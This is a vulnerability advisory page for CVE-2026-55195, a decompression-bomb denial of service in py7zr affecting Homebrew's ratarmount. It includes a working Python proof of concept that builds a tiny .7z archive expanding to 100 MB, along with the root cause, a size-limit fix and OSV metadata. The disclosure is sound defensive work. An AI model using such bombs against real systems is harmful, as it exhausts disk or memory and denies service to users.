BREW-RATARMOUNT-CVE-2026-55195 (GHSA-GJRG-MPP7-G774)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:32 – Updated: 2026-10-26 09:12 – Source websitepy7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
| Ecosystem | Package | Version |
|---|---|---|
| Homebrew |
ratarmount
pkg:brew/ratarmount
|
Affected: ≥ 1.1.0, < 1.3.0_1 (ecosystem)
|
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "py7zr",
"resource_purl": "pkg:pypi/py7zr@1.1.4",
"upstream_fixed_in": "1.1.3"
},
"package": {
"ecosystem": "Homebrew",
"name": "ratarmount",
"purl": "pkg:brew/ratarmount"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.3.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/py7zr@1.1.4",
"name": "py7zr",
"resource": "py7zr",
"strategy": "registry",
"subject_version": "1.1.4"
}
]
},
"details": "py7zr\u0027s `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive \u2192 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix=\u0027.7z\u0027)\nwith py7zr.SevenZipFile(bomb_path, \u0027w\u0027) as z:\n import io\n z.writef(io.BytesIO(b\u0027\\x00\u0027 * 100 * 1024 * 1024), \u0027bomb.bin\u0027)\n\nprint(f\u0027archive size: {os.path.getsize(bomb_path):,} bytes\u0027)\n\n# extract \u2014 no size check\nwith py7zr.SevenZipFile(bomb_path, \u0027r\u0027) as z:\n z.extractall(path=tempfile.mkdtemp())\n\nprint(\u0027extracted 100 MB from ~15 KB archive\u0027)\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python\u0027s `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n total += len(chunk)\n if total \u003e MAX_EXTRACT_SIZE:\n raise py7zr.exceptions.DecompressionBombError(\n f\u0027Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes\u0027\n )\n outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.",
"id": "BREW-ratarmount-CVE-2026-55195",
"modified": "2026-10-26T09:12:49Z",
"published": "2026-08-13T17:32:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
},
{
"type": "PACKAGE",
"url": "https://github.com/miurahr/py7zr"
},
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size",
"upstream": [
"GHSA-gjrg-mpp7-g774",
"CVE-2026-55195",
"PYSEC-2026-2972"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.